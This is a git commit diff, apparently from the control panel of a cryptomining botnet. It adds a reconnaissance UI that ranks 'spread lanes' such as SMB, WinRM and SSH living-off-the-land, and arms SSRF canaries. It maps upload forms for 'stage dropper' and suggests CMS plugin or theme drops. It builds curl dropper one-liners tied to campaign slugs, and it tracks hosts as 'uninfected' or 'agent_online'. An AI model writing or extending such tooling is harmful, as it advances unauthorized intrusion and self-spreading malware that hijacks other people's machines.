Deploy Recon UI: consume new recon APIs with streaming results and action matrix
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 12:24:10 -07:00
parent 49c24e611c
commit 2cad49d82c
13 changed files with 663 additions and 34 deletions

View File

@@ -695,6 +695,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
SpreadStrain string `json:"spread_strain,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
IP string `json:"ip,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -821,6 +822,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
clientIP = clientIP[:idx]
}
if authIP := strings.TrimSpace(auth.IP); authIP != "" {
clientIP = authIP
}
prior, priorErr := h.db.GetAgent(agentID)
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)

View File

@@ -121,8 +121,7 @@ export const StreamingPortMatrix = memo(function StreamingPortMatrix({
if (p.open) onHint(RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open`);
}}
>
{p.port}
{p.open ? ' ●' : ' ○'}
{p.port}{p.open ? ' *' : ''}
</button>
))}
</div>
@@ -381,3 +380,4 @@ export function useDeployReconDerived(report: ReconScanReport | null, deckOrigin
}, [report, deckOrigin]);
}

View File

@@ -1,9 +1,12 @@
import { describe, expect, it } from 'vitest';
import { describe, expect, it } from 'vitest';
import {
buildActionMatrix,
buildReconFindingCards,
buildReconMermaid,
buildSsrfCanaryUrl,
crucibleSpreadLink,
curlInstallLine,
isLocalScanUnreachableError,
reconScanBody,
ssrfConfidence,
} from './deployRecon';
@@ -26,9 +29,41 @@ describe('deployRecon helpers', () => {
port: 443,
scheme: 'https',
paths: ['/admin'],
profile: 'quick',
});
});
it('maps scan form with profile and port bundle', () => {
const body = reconScanBody('10.0.0.1', 80, false, '', 'deep', 'web');
expect(body.profile).toBe('deep');
expect(body.profiles).toEqual(['web']);
});
it('arms ssrf canary for ssrf_only profile', () => {
const body = reconScanBody('h', 80, false, '', 'ssrf_only');
expect(body.ssrf_canary).toBe(true);
});
it('builds HTTPS canary ping URL', () => {
const url = buildSsrfCanaryUrl('http://deck.example', 'scan-1');
expect(url).toBe('https://deck.example/recon/ping/scan-1');
});
it('detects unreachable scan errors', () => {
expect(isLocalScanUnreachableError('dial tcp: i/o timeout')).toBe(true);
expect(isLocalScanUnreachableError('permission denied')).toBe(false);
});
it('builds action matrix from recommendations', () => {
const report = {
host: 'x',
scanned_at: 't',
ports: [],
recommendations: [{ lane: 'winrm', reason: 'open', priority: 10 }],
} as ReconScanReport;
expect(buildActionMatrix(report)[0].lane).toBe('winrm');
});
it('builds curl one-liner with pinned build', () => {
const line = curlInstallLine('https://deck.example', 'build-abc');
expect(line).toContain('curl -sL');
@@ -65,4 +100,21 @@ describe('deployRecon helpers', () => {
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
});
it('prefers canary URL in SSRF finding card', () => {
const report: ReconScanReport = {
host: 'lab.local',
scanned_at: '2026-06-07T12:00:00Z',
ports: [],
canary: {
scan_id: 's1',
url: 'https://deck.example/recon/ping/s1',
status: 'pending',
paste_target: 'https://deck.example/recon/ping/s1',
},
crawl: { pages_fetched: 1, ssrf_score: 10, url_fields: [] },
};
const cards = buildReconFindingCards(report, 'https://deck.example');
expect(cards.find((c) => c.kind === 'ssrf')?.probe_url).toBe('https://deck.example/recon/ping/s1');
});
});

View File

@@ -1,9 +1,13 @@
import { shOneliner, pinQuery } from './emberwake';
import { combinedDropperQuery, shOneliner } from './emberwake';
import { SPREAD_TECHNIQUES_DOC } from './spreadTechniques';
import type {
ReconAdminSurfaceFinding,
ReconConfidence,
ReconCrawlReport,
ReconPortResult,
ReconScanProfile,
ReconScanReport,
ReconScanRequest,
ReconWebFindingCard,
} from '../types/recon';
@@ -21,20 +25,250 @@ export const RECON_PORT_HINTS: Record<number, string> = {
export const FLEET_SPREAD_PORTS = new Set([22, 445, 5985, 5986]);
export type ScanProfileId = ReconScanProfile;
export const SCAN_PROFILES: Record<
ScanProfileId,
{ label: string; detail: string; ssrfCanaryDefault?: boolean }
> = {
quick: {
label: 'Quick',
detail: 'Top fleet TCP ports plus a shallow crawl (1 page).',
},
deep: {
label: 'Deep',
detail: 'Full fleet port matrix, banners, and multi-page crawl.',
},
ssrf_only: {
label: 'SSRF only',
detail: 'Skip port dial; deep crawl for URL-like form fields.',
ssrfCanaryDefault: true,
},
};
export type PortBundleId = 'fleet' | 'web' | 'windows' | 'linux' | 'cloud_metadata';
export const PORT_BUNDLES: Record<PortBundleId, { label: string; profiles: string[] }> = {
fleet: { label: 'Fleet default', profiles: [] },
web: { label: 'Web surface', profiles: ['web'] },
windows: { label: 'Windows spread', profiles: ['windows'] },
linux: { label: 'Linux / SSH', profiles: ['linux'] },
cloud_metadata: { label: 'Cloud metadata', profiles: ['cloud_metadata'] },
};
export function reconScanBody(
host: string,
port: number,
https: boolean,
pathPrefix: string,
): { host: string; port: number; scheme: string; paths?: string[] } {
profile: ScanProfileId = 'quick',
portBundle: PortBundleId = 'fleet',
ssrfCanary = false,
): ReconScanRequest {
const prefix = pathPrefix.trim();
const paths = prefix ? [prefix.startsWith('/') ? prefix : `/${prefix}`] : undefined;
return {
const bundle = PORT_BUNDLES[portBundle] ?? PORT_BUNDLES.fleet;
const body: ReconScanRequest = {
host: host.trim(),
port: port > 0 ? port : 80,
scheme: https ? 'https' : 'http',
paths,
profile,
};
if (bundle.profiles.length > 0) {
body.profiles = bundle.profiles;
}
if (ssrfCanary || SCAN_PROFILES[profile]?.ssrfCanaryDefault) {
body.ssrf_canary = true;
}
return body;
}
const UNREACHABLE_PATTERNS = [
'no route to host',
'connection refused',
'connection timed out',
'i/o timeout',
'network is unreachable',
'host unreachable',
'dial tcp',
'context deadline exceeded',
];
export function isLocalScanUnreachableError(message: string): boolean {
const lower = message.toLowerCase();
return UNREACHABLE_PATTERNS.some((p) => lower.includes(p));
}
export function ssrfCanaryToken(scanId: string): string {
return scanId.trim();
}
export function buildSsrfCanaryUrl(deckOrigin: string, scanId: string): string {
let base = deckOrigin.trim().replace(/\/$/, '');
if (!base) base = 'https://localhost';
if (base.startsWith('http://')) base = `https://${base.slice('http://'.length)}`;
else if (!base.startsWith('https://')) base = `https://${base}`;
try {
const u = new URL(base);
u.protocol = 'https:';
u.pathname = `/recon/ping/${encodeURIComponent(scanId.trim())}`;
u.search = '';
u.hash = '';
return u.toString();
} catch {
return `https://localhost/recon/ping/${encodeURIComponent(scanId.trim())}`;
}
}
export interface ReconFormFingerprintCard {
id: string;
page_url: string;
name: string;
score: number;
matches: string[];
paste_target: string;
}
export function buildFormFingerprintCards(report: ReconScanReport, deckOrigin: string): ReconFormFingerprintCard[] {
const crawl = report.crawl;
if (!crawl?.fingerprint_fields?.length) return [];
const fallback = report.canary?.url
?? (report.scan_id ? buildSsrfCanaryUrl(deckOrigin, report.scan_id) : `${deckOrigin.replace(/\/$/, '')}/get`);
return crawl.fingerprint_fields.map((f, i) => ({
id: `fp-${i}-${f.name}`,
page_url: f.page_url,
name: f.name,
score: f.score,
matches: f.matches ?? [],
paste_target: f.paste_target?.trim() || fallback,
}));
}
export type AdminSurfaceMapRow = ReconAdminSurfaceFinding;
export function buildAdminSurfaceMap(report: ReconScanReport): AdminSurfaceMapRow[] {
return report.admin_surface ?? [];
}
export function buildTechStackHints(report: ReconScanReport) {
const seen = new Set<string>();
const out: import('../types/recon').ReconStackEntry[] = [];
for (const e of [...(report.stack ?? []), ...(report.crawl?.stack ?? [])]) {
const key = `${e.name}|${e.source}`;
if (seen.has(key)) continue;
seen.add(key);
out.push(e);
}
return out;
}
export interface ReconActionRow {
id: string;
lane: string;
title: string;
reason: string;
actions: string[];
}
export function buildActionMatrix(report: ReconScanReport): ReconActionRow[] {
const rows: ReconActionRow[] = [];
const recs = [...(report.recommendations ?? [])].sort((a, b) => b.priority - a.priority);
for (const r of recs) {
const lane = (r.lane || r.template || 'spread').trim();
rows.push({
id: `rec-${lane}`,
lane,
title: lane,
reason: r.reason,
actions: ['playbook', 'crucible', 'copy_curl'],
});
}
for (const p of report.ports) {
if (!p.open) continue;
const hint = RECON_PORT_HINTS[p.port];
if (!hint) continue;
const lane = portLane(p.port);
if (rows.some((x) => x.lane === lane)) continue;
rows.push({
id: `port-${p.port}`,
lane,
title: `TCP ${p.port}`,
reason: hint,
actions: ['playbook', 'crucible'],
});
}
if (report.crawl?.ssrf_score && !rows.some((x) => x.lane === 'ssrf')) {
rows.push({
id: 'ssrf-crawl',
lane: 'ssrf',
title: 'SSRF crawl',
reason: `SSRF score ${report.crawl.ssrf_score} from URL-like inputs.`,
actions: ['playbook', 'copy_probe'],
});
}
return rows;
}
function portLane(port: number): string {
if (port === 22) return 'linux-lotl';
if (port === 445) return 'smb';
if (port === 5985 || port === 5986) return 'winrm';
if (port === 80 || port === 443 || port === 8080 || port === 8443) return 'bits_curl';
return `tcp-${port}`;
}
export interface PlaybookTreeNode {
id: string;
label: string;
href?: string;
children?: PlaybookTreeNode[];
}
export function buildPlaybookTree(report: ReconScanReport): PlaybookTreeNode[] {
const host = report.host.trim();
const children: PlaybookTreeNode[] = [];
for (const row of buildActionMatrix(report)) {
children.push({
id: row.lane,
label: `${row.title} - ${row.reason}`,
href: crucibleSpreadLink(host, row.lane),
});
}
children.push({
id: 'spread-doc',
label: 'Spread techniques reference',
href: SPREAD_TECHNIQUES_DOC,
});
return [{ id: 'root', label: host, children }];
}
export async function* streamRevealPorts(
ports: ReconPortResult[],
chunkSize = 4,
delayMs = 40,
): AsyncGenerator<ReconPortResult[]> {
const sorted = [...ports].sort((a, b) => a.port - b.port);
let acc: ReconPortResult[] = [];
for (let i = 0; i < sorted.length; i += 1) {
acc = [...acc, sorted[i]];
if (acc.length % chunkSize === 0 || i === sorted.length - 1) {
yield acc;
if (i < sorted.length - 1) {
await new Promise((r) => setTimeout(r, delayMs));
}
}
}
}
export function suggestDeployKitFinding(report: ReconScanReport): string {
if (report.deploy_kit_lane?.trim()) return report.deploy_kit_lane.trim();
const top = [...(report.recommendations ?? [])].sort((a, b) => b.priority - a.priority)[0];
if (top?.lane) return top.lane;
for (const p of report.ports) {
if (p.open && FLEET_SPREAD_PORTS.has(p.port)) return portLane(p.port);
}
return '';
}
export function ssrfConfidence(score: number): ReconConfidence {
@@ -43,27 +277,38 @@ export function ssrfConfidence(score: number): ReconConfidence {
return 'low';
}
function ssrfProbeUrl(report: ReconScanReport, deckOrigin: string, crawl: ReconCrawlReport): string {
if (report.canary?.url) return report.canary.url;
if (report.canary?.paste_target) return report.canary.paste_target;
if (report.scan_id) return buildSsrfCanaryUrl(deckOrigin, report.scan_id);
const field = crawl.url_fields?.[0];
const drop = `${deckOrigin.replace(/\/$/, '')}/get`;
if (!field) return drop;
const sep = field.page_url.includes('?') ? '&' : '?';
return `${field.page_url}${sep}${field.name}=${encodeURIComponent(drop)}`;
}
export function buildReconFindingCards(report: ReconScanReport, deckOrigin: string): ReconWebFindingCard[] {
const crawl = report.crawl;
const cards: ReconWebFindingCard[] = [];
if (!crawl) return cards;
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0) {
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0 || report.canary) {
const field = crawl.url_fields?.[0];
const probe = field
? `${field.page_url}${field.page_url.includes('?') ? '&' : '?'}${field.name}=${encodeURIComponent(`${deckOrigin.replace(/\/$/, '')}/get`)}`
: `${deckOrigin.replace(/\/$/, '')}/get`;
const probe = ssrfProbeUrl(report, deckOrigin, crawl);
cards.push({
id: 'ssrf',
kind: 'ssrf',
title: 'SSRF candidate fields',
detail: field
? `Reflective field "${field.name}" on ${field.page_url} — paste probe URL into the form.`
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
confidence: ssrfConfidence(crawl.ssrf_score),
title: report.canary ? 'SSRF canary armed' : 'SSRF candidate fields',
detail: report.canary
? `Paste canary URL into reflective fields; server confirms fetch at ${report.canary.status}.`
: field
? `Reflective field "${field.name}" on ${field.page_url} - paste probe URL into the form.`
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
confidence: ssrfConfidence(crawl.ssrf_score || (report.canary ? 40 : 0)),
spread_lane: 'ssrf',
probe_url: probe,
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[install.sh /get]',
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[canary /get]',
});
}
@@ -74,7 +319,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
id: 'upload',
kind: 'file_upload',
title: 'File upload surface',
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} stage dropper when extension policy allows.`,
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} - stage dropper when extension policy allows.`,
confidence: u.multipart || u.has_file_input ? 'high' : 'medium',
spread_lane: 'stage_fetch',
mermaid: 'flowchart LR\n browser[multipart form] --> upload[file input]\n upload --> stage[stage_fetch]',
@@ -86,7 +331,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
id: `cms-${cms}`,
kind: 'cms',
title: `${cms} CMS hint`,
detail: `HTML/path signatures match ${cms} supply-chain plugin or theme drop may apply.`,
detail: `HTML/path signatures match ${cms} - supply-chain plugin or theme drop may apply.`,
confidence: cms === 'wordpress' ? 'high' : 'medium',
spread_lane: cms,
mermaid: `flowchart LR\n cms[${cms}] --> plugin[supply chain]\n plugin --> curl[curl install.sh]`,
@@ -98,7 +343,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
id: 'web-live',
kind: 'info',
title: 'Web surface live',
detail: `Crawled ${crawl.pages_fetched} page(s) browser curl one-liner may work on owned hosts.`,
detail: `Crawled ${crawl.pages_fetched} page(s) - browser curl one-liner may work on owned hosts.`,
confidence: 'low',
spread_lane: 'bits_curl',
mermaid: 'flowchart LR\n browser[operator] --> curl[curl install.sh]\n curl --> agent[join fleet]',
@@ -115,7 +360,7 @@ export function buildReconMermaid(ports: ReconPortResult[], cards: ReconWebFindi
if (!p.open) continue;
open++;
const hint = RECON_PORT_HINTS[p.port] ?? `tcp/${p.port}`;
lines.push(` target --> p${p.port}["${p.port} open · ${hint}"]`);
lines.push(` target --> p${p.port}["${p.port} open - ${hint}"]`);
}
if (open === 0) lines.push(' target --> closed[no fleet ports open]');
cards.slice(0, 3).forEach((c, i) => {
@@ -130,8 +375,8 @@ export function crucibleSpreadLink(host: string, finding?: string): string {
return `/crucible?${q.toString()}`;
}
export function curlInstallLine(serverBase: string, pinnedBuildId: string): string {
export function curlInstallLine(serverBase: string, pinnedBuildId: string, campaignSlug = ''): string {
const base = serverBase.replace(/\/$/, '');
const q = pinnedBuildId ? pinQuery(pinnedBuildId) : '';
const q = combinedDropperQuery(pinnedBuildId, campaignSlug);
return shOneliner(base, q);
}

View File

@@ -1,4 +1,4 @@
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
export const DOC_ANCHORS: Record<string, string> = {
// Calibrate
calibrate_wallet: '/docs/#calibrate',
@@ -14,7 +14,7 @@ export const DOC_ANCHORS: Record<string, string> = {
sign_cert_thumbprint: '/docs/#forge',
sign_timestamp_url: '/docs/#forge',
// Forge core
// Forge — core
worker_name: '/docs/#forge',
server_url: '/docs/#quick-start',
wallet: '/docs/#mining',
@@ -69,7 +69,7 @@ export const DOC_ANCHORS: Record<string, string> = {
sigil_scramble: '/docs/#forge',
https_beacon_fallback: '/docs/#agent',
// Forge spread & ops
// Forge — spread & ops
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
@@ -147,7 +147,19 @@ export const DOC_ANCHORS: Record<string, string> = {
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
crucible_full_audit: '/docs/#crucible-ops',
dr_scan_profile: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_port_bundle: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_form_fingerprint: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_ssrf_canary: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_upload_admin_map: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_tech_stack: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_banner_grab: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_relay_scan: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_action_matrix: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_playbook_wizard: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_history: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_export_json: '/docs/SPREAD_TECHNIQUES.html#browser', crucible_full_audit: '/docs/#crucible-ops',
bm_pin_dropper: '/docs/#build-manager',
bm_dropper_oneliner: '/docs/#build-manager',
pt_path_tracer: '/docs/#path-tracer',
@@ -176,3 +188,4 @@ export const DOC_ANCHORS: Record<string, string> = {
export function docAnchorForField(field: string): string | undefined {
return DOC_ANCHORS[field];
}

View File

@@ -119,6 +119,19 @@ describe('UI_HELP', () => {
'dr_fleet_subnet_filter',
'dr_fleet_port_filter',
'dr_fleet_sort',
'dr_export_json',
'dr_history',
'dr_playbook_wizard',
'dr_action_matrix',
'dr_relay_scan',
'dr_banner_grab',
'dr_deploy_kit',
'dr_tech_stack',
'dr_upload_admin_map',
'dr_ssrf_canary',
'dr_form_fingerprint',
'dr_port_bundle',
'dr_scan_profile',
] as const;
it('defines help for every documented UI key', () => {

View File

@@ -245,4 +245,30 @@ export const UI_HELP: Record<string, string> = {
'Show only hosts with a given TCP port open — e.g. 22 for SSH LOTL, 5985 for WinRM spread candidates.',
dr_fleet_sort:
'Order the table by last_seen (newest first by default) or IP. Live WS updates bump last_seen without reordering until you refresh sort.',
dr_scan_profile:
'Quick runs the default fleet port matrix and a shallow crawl. Deep adds banners, admin paths, and more pages. SSRF only skips port dial and arms the canary for reflective URL fields.',
dr_port_bundle:
'Optional port profile sent as profiles[] on POST /api/v1/recon/scan (web, windows, linux, cloud_metadata). Fleet default uses the server quick matrix.',
dr_form_fingerprint:
'High-scoring form fields from the crawl with suggested paste targets (SSRF canary URL or /get probe).',
dr_ssrf_canary:
'HTTPS callback URL on your control server (/recon/ping/{scan_id}). Poll status and listen for recon_canary_hit over the operator WebSocket.',
dr_upload_admin_map:
'Merged upload-hunter hits and probed admin/login paths with HTTP status and signal tags.',
dr_tech_stack:
'Stack hints from port banners and HTML crawl (framework, CMS, server headers).',
dr_deploy_kit:
'Suggested join lane for GET /api/v1/recon/deploy-kit on this host after scan (open ports + crawl signals).',
dr_banner_grab:
'Service banners and HTTP titles from open web ports during deep scans.',
dr_relay_scan:
'POST /api/v1/recon/relay-scan from a fleet seed on the target /24 when the control server cannot reach the host directly.',
dr_action_matrix:
'Ranked spread lanes from recommendations and open ports with quick links to playbook and Crucible spread tab.',
dr_playbook_wizard:
'Modal tree of recommended lanes for the current target with Crucible deep links.',
dr_history:
'Server and local scan history for the target host; click a row to reload that report in the UI.',
dr_export_json:
'Download the raw ReconScanReport JSON for ticketing or offline diff.',
};

View File

@@ -307,3 +307,192 @@
flex-wrap: wrap;
gap: 0.35rem;
}
.dr-scan-actions {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
grid-column: 1 / -1;
}
.dr-profile-row,
.dr-bundle-row {
grid-column: 1 / -1;
display: flex;
flex-direction: column;
gap: 0.35rem;
}
.dr-field-label {
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--text-muted);
}
.dr-chip-row {
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
}
.dr-chip {
font-family: var(--font-tech);
font-size: 0.68rem;
padding: 0.35rem 0.65rem;
border-radius: 4px;
border: 1px solid rgba(255, 255, 255, 0.12);
background: rgba(255, 255, 255, 0.04);
color: var(--text-muted);
cursor: pointer;
}
.dr-chip.active {
border-color: rgba(0, 232, 245, 0.5);
background: rgba(0, 232, 245, 0.12);
color: #9efcff;
}
.dr-port-matrix-streaming .dr-port-cell.pending {
opacity: 0.45;
}
.dr-banner-panel,
.dr-canary-panel {
border: 1px solid rgba(255, 255, 255, 0.06);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.18);
}
.dr-banner-list,
.dr-stack-list,
.dr-history-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.45rem;
}
.dr-canary-badge {
margin-left: 0.5rem;
font-family: var(--font-tech);
font-size: 0.62rem;
padding: 2px 6px;
border-radius: 3px;
text-transform: uppercase;
}
.dr-canary-badge.pending {
color: var(--neon-amber, #ffb347);
border: 1px solid rgba(255, 180, 60, 0.35);
}
.dr-canary-badge.confirmed {
color: #7dffb0;
border: 1px solid rgba(80, 220, 120, 0.4);
}
.dr-admin-table,
.dr-action-table {
width: 100%;
border-collapse: collapse;
font-size: 0.78rem;
}
.dr-admin-table th,
.dr-action-table th {
font-family: var(--font-tech);
font-size: 0.62rem;
text-transform: uppercase;
color: var(--text-muted);
text-align: left;
padding: 0.35rem 0.5rem;
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
}
.dr-admin-table td,
.dr-action-table td {
padding: 0.4rem 0.5rem;
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
}
.dr-fp-grid {
display: grid;
gap: 0.55rem;
}
.dr-fp-card {
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 6px;
padding: 0.55rem 0.65rem;
}
.dr-history {
display: flex;
flex-direction: column;
gap: 0.65rem;
}
.dr-history-item {
width: 100%;
text-align: left;
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 4px;
padding: 0.45rem 0.55rem;
background: rgba(0, 0, 0, 0.2);
cursor: pointer;
}
.dr-history-meta {
display: block;
font-size: 0.72rem;
color: var(--text-muted);
margin-top: 0.2rem;
}
.dr-modal-backdrop {
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.65);
display: flex;
align-items: center;
justify-content: center;
z-index: 1200;
padding: 1rem;
}
.dr-modal {
width: min(520px, 100%);
max-height: 80vh;
overflow: auto;
border: 1px solid rgba(0, 232, 245, 0.25);
border-radius: 8px;
background: var(--panel-bg, #0d1118);
padding: 1rem;
}
.dr-modal-head {
display: flex;
align-items: center;
justify-content: space-between;
gap: 0.5rem;
margin-bottom: 0.75rem;
}
.dr-playbook-tree li.focused a {
color: var(--neon-cyan);
}
.dr-deploy-kit-hint {
font-size: 0.8rem;
color: var(--text-muted);
}
.dr-relay-via {
font-size: 0.76rem;
color: var(--neon-cyan);
}

View File

@@ -74,6 +74,10 @@ describe('DeployReconPage', () => {
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport);
vi.spyOn(api, 'getReconHistory').mockResolvedValue({ entries: [] });
vi.spyOn(api, 'listCampaignHits').mockResolvedValue({ campaigns: [{ campaign: 'lab' }] });
vi.spyOn(api, 'getReconDeployKit').mockResolvedValue({ ok: true, host: 'scan.lab' });
vi.spyOn(api, 'reconRelayScan').mockResolvedValue({ ok: false, error: 'unreachable' });
vi.spyOn(api, 'getDiscoveredHosts').mockResolvedValue({
hosts: [
{

View File

@@ -1,4 +1,4 @@
/** Fleet recon credential graph, service graph, vuln findings (mirrors agent/server JSON). */
/** Fleet recon - credential graph, service graph, vuln findings (mirrors agent/server JSON). */
export type VulnSeverity = 'critical' | 'high' | 'medium' | 'low' | 'info' | string;
@@ -45,7 +45,7 @@ export interface ServiceGraphResponse {
services: ServiceGraphNode[];
}
/** GET /api/v1/recon/deploy-kit lane-specific spread kit for a recon host. */
/** GET /api/v1/recon/deploy-kit - lane-specific spread kit for a recon host. */
export interface ReconDeployKitDropperURLs {
get?: string;
get_windows?: string;
@@ -80,7 +80,7 @@ export interface ReconDeployKitResponse {
error?: string;
}
/** POST /api/v1/fleet/spread-to-host seed discover_and_join toward unreachable IP. */
/** POST /api/v1/fleet/spread-to-host - seed discover_and_join toward unreachable IP. */
export interface FleetSpreadToHostRequest {
host: string;
finding?: string;
@@ -107,7 +107,9 @@ export interface FleetSpreadToHostResponse {
crucible_link?: string;
}
/** POST /api/v1/recon/scan owned-target browser deploy recon. */
/** POST /api/v1/recon/scan - owned-target browser deploy recon. */
export type ReconScanProfile = 'quick' | 'deep' | 'ssrf_only';
export interface ReconScanRequest {
host: string;
@@ -116,6 +118,7 @@ export interface ReconScanRequest {
paths?: string[];
profile?: string;
profiles?: string[];
ssrf_canary?: boolean;
}
export interface ReconPortResult {
@@ -154,12 +157,53 @@ export interface ReconURLFieldFinding {
hint: string;
}
export interface ReconFormFieldFingerprint {
page_url: string;
name: string;
id?: string;
placeholder?: string;
score: number;
matches?: string[];
paste_target?: string;
}
export interface ReconUploadHunterFinding {
page_url: string;
target?: string;
source: string;
method?: string;
tags?: string[];
score: number;
status_code?: number;
}
export interface ReconAdminSurfaceFinding {
path: string;
url: string;
status_code: number;
signal: string;
}
export interface ReconSsrfCanaryInfo {
scan_id: string;
url: string;
status: string;
paste_target: string;
paste_field_name?: string;
paste_field_id?: string;
hit_at?: string;
}
export type ReconSsrfCanaryStatus = ReconSsrfCanaryInfo;
export interface ReconCrawlReport {
pages_fetched: number;
pages?: { url: string; status_code: number; title?: string }[];
file_inputs?: ReconFormFinding[];
multipart_forms?: ReconFormFinding[];
url_fields?: ReconURLFieldFinding[];
fingerprint_fields?: ReconFormFieldFingerprint[];
upload_hunter?: ReconUploadHunterFinding[];
ssrf_score: number;
cms_fingerprints?: string[];
stack?: ReconStackEntry[];
@@ -184,6 +228,8 @@ export interface ReconScanReport {
stack?: ReconStackEntry[];
deploy_kit_lane?: string;
crawl?: ReconCrawlReport;
admin_surface?: ReconAdminSurfaceFinding[];
canary?: ReconSsrfCanaryInfo;
relay_via?: string;
udp_hints?: { port: number; open: boolean; service?: string }[];
path_tracer_hints?: string[];
@@ -204,7 +250,39 @@ export interface ReconWebFindingCard {
mermaid?: string;
}
/** GET /api/v1/recon/discovered-hosts — agent subnet recon store. */
export interface ReconScanDiff {
new_ports?: number[];
new_forms?: ReconFormFinding[];
}
export interface ReconHistoryEntry {
scan_id: string;
host: string;
profile?: string;
status?: string;
scanned_at: string;
report: ReconScanReport;
diff?: ReconScanDiff;
}
export interface ReconHistoryResponse {
entries: ReconHistoryEntry[];
}
export interface ReconRelayScanRequest {
host: string;
udp_guess?: boolean;
}
export interface ReconRelayScanResponse {
ok: boolean;
agent_id?: string;
agent_name?: string;
error?: string;
report?: ReconScanReport;
}
/** GET /api/v1/recon/discovered-hosts - agent subnet recon store. */
export type DiscoveredHostStatus = 'uninfected' | 'spread_attempted' | 'agent_online';
export interface DiscoveredHost {